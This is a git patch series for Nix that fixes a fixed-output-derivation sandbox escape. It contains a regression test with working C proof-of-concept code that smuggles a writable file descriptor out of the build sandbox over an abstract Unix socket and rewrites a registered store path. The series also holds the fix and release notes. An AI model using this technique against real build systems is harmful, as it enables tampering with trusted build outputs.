diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
new file mode 100644
index 000000000..c252caa4d
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -0,0 +1,93 @@
+# Nix is a sandboxed build system. But Not everything can be handled inside its
+# sandbox: Network access is normally blocked off, but to download sources, a
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+# The detail here is not important, but in our case it means that the hash of
+# the output has to be known beforehand. And if you know that, you get a few
+# rights: you no longer run inside a special network namespace!
+#
+# Now, Linux has a special feature, that not many other unices do: Abstract
+# unix domain sockets! Not only that, but those are namespaced using the
+# network namespace! That means that we have a way to create sockets that are
+# available in every single fixed-output derivation, and also all processes
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
+# well, the whole idea is that the output is pure, and all processes in the
+# sandbox are killed before finalizing the output. What if we didn't need those
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
+# file descriptors around!
+# This makes it possible to exfiltrate a file-descriptor with write access to
+# $out outside of the sandbox. And that file-descriptor can be used to modify
+# the contents of the store path after it has been registered.
+
+{ nixpkgs, system, nix }:
+
+with import (nixpkgs + "/nixos/lib/testing-python.nix") {
+ inherit system;
+};
+
+let
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
+ # domain socket.
+ # Compiled statically so that we can easily send it to the VM and use it
+ # inside the build sandbox.
+ sender = pkgs.runCommandWith {
+ name = "sender";
+ stdenv = pkgs.pkgsStatic.stdenv;
+ } ''
+ $CC -static -o $out ${./sender.c}
+ '';
+
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+ # lives in a mount namespace where it is not! So even when this file exists
+ # in the actual Nix store, we're capable of just modifying its contents...
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+
+ # The abstract socket path used to exfiltrate the file descriptor
+ socketName = "FODSandboxExfiltrationSocket";
+in
+makeTest {
+ name = "ca-fd-leak";
+
+ nodes.machine =
+ { config, lib, pkgs, ... }:
+ { virtualisation.writableStore = true;
+ virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+ nix.binaryCaches = [ ];
+ nix.package = nix;
+ };
+
+ testScript = { nodes }: ''
+ start_all()
+
+ machine.succeed("echo hello")
+ # Start the smuggler server
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+
+ # Build the smuggled derivation.
+ # This will connect to the smuggler server and send it the file descriptor
+ machine.succeed(r"""
+ nix-build -E '
+ builtins.derivation {
+ name = "smuggled";
+ system = builtins.currentSystem;
+ # look ma, no tricks!
+ outputHashMode = "flat";
+ outputHashAlgo = "sha256";
+ outputHash = builtins.hashString "sha256" "hello, world\n";
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+ }'
+ """.strip())
+
+
+ # Tell the smuggler server that we're done
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+
+ # Check that the file was modified
+ machine.succeed(r"""
+ cat ./result
+ test "$(cat ./result)" = "hello, world"
+ """.strip())
+ '';
+
+}
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
new file mode 100644
index 000000000..75e54fc8f
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/sender.c
@@ -0,0 +1,65 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+ assert(argc == 2);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Set up a abstract domain socket path to connect to.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, argv[1]);
+
+ // Now try to connect, To ensure we work no matter what order we are
+ // executed in, just busyloop here.
+ int res = -1;
+ while (res < 0) {
+ res = connect(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(argv[1])
+ + 1);
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
+ if (errno != ECONNREFUSED) break;
+ }
+
+ // Write our message header.
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Write an SCM_RIGHTS message containing the output path.
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
+ hdr->cmsg_level = SOL_SOCKET;
+ hdr->cmsg_type = SCM_RIGHTS;
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+ // Write a single null byte too.
+ msg.msg_iov = malloc(sizeof(struct iovec));
+ msg.msg_iov[0].iov_base = "";
+ msg.msg_iov[0].iov_len = 1;
+ msg.msg_iovlen = 1;
+
+ // Send it to the othher side of this connection.
+ res = sendmsg(sock, &msg, 0);
+ if (res < 0) perror("sendmsg");
+ int buf;
+
+ // Wait for the server to close the socket, implying that it has
+ // received the commmand.
+ recv(sock, (void *)&buf, sizeof(int), 0);
+}
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
new file mode 100644
index 000000000..82acf37e6
--- /dev/null
+++ b/tests/nixos/ca-fd-leak/smuggler.c
@@ -0,0 +1,66 @@
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <assert.h>
+
+int main(int argc, char **argv) {
+
+ assert(argc == 2);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Bind to the socket.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, argv[1]);
+ int res = bind(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(argv[1])
+ + 1);
+ if (res < 0) perror("bind");
+
+ res = listen(sock, 1);
+ if (res < 0) perror("listen");
+
+ int smuggling_fd = -1;
+
+ // Accept the connection a first time to receive the file descriptor.
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
+ int a = accept(sock, 0, 0);
+ if (a < 0) perror("accept");
+
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Receive the file descriptor as sent by the smuggler.
+ recvmsg(a, &msg, 0);
+
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ while (hdr) {
+ if (hdr->cmsg_level == SOL_SOCKET
+ && hdr->cmsg_type == SCM_RIGHTS) {
+
+ // Grab the copy of the file descriptor.
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+ }
+
+ hdr = CMSG_NXTHDR(&msg, hdr);
+ }
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+ close(a);
+
+ // Wait for a second connection, which will tell us that the build is
+ // done
+ a = accept(sock, 0, 0);
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+ // Write a new content to the file
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+ char * new_content = "Pwned\n";
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+ if (written_bytes != strlen(new_content)) perror("write");
+}
From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<theophane.hufschmitt@tweag.io>
Date: Tue, 13 Feb 2024 08:28:02 +0100
Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
registering them
It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).
---
src/libstore/build.cc | 11 +++++++++--
1 file changed, 9 insertions(+), 2 deletions(-)
diff --git a/src/libstore/build.cc b/src/libstore/build.cc
index d3a712c1a..3fb827a15 100644
--- a/src/libstore/build.cc
+++ b/src/libstore/build.cc
@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs()
throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
#endif
- /* Apply hash rewriting if necessary. */
+ /* Apply hash rewriting if necessary.
+ *
+ * For FODs, we always do the dump-and-restore dance regardless to make
+ * sure that there's no stale file descriptor pointing to the output
+ * of the path.
+ * */
bool rewritten = false;
- if (!outputRewrites.empty()) {
+ if (fixedOutput || !outputRewrites.empty()) {
+ if (!outputRewrites.empty()) {
printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
+ }
/* Canonicalise first. This ensures that the path we're
rewriting doesn't contain a hard link to /etc/shadow or
From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<7226587+thufschmitt@users.noreply.github.com>
Date: Wed, 21 Feb 2024 17:32:36 +0100
Subject: [PATCH 3/4] Fix a typo in a test comment
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
tests/nixos/ca-fd-leak/default.nix | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
index c252caa4d..2fd5ca2d6 100644
--- a/tests/nixos/ca-fd-leak/default.nix
+++ b/tests/nixos/ca-fd-leak/default.nix
@@ -83,7 +83,7 @@ makeTest {
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
- # Check that the file was modified
+ # Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
<theophane.hufschmitt@tweag.io>
Date: Fri, 1 Mar 2024 09:31:05 +0100
Subject: [PATCH 4/4] Add release notes
---
doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
1 file changed, 14 insertions(+)
create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
new file mode 100644
index 000000000..ed451711e
--- /dev/null
+++ b/doc/manual/rl-next/fod-sandbox-escape.md
@@ -0,0 +1,14 @@
+---
+synopsis: Fix a FOD sandbox escape
+issues:
+prs:
+---
+
+Cooperating Nix derivations could send file descriptors to files in the Nix
+store to each other via Unix domain sockets in the abstract namespace. This
+allowed one derivation to modify the output of the other derivation, after Nix
+has registered the path as "valid" and immutable in the Nix database.
+In particular, this allowed the output of fixed-output derivations to be
+modified from their expected content.
+
+This isn't the case any more.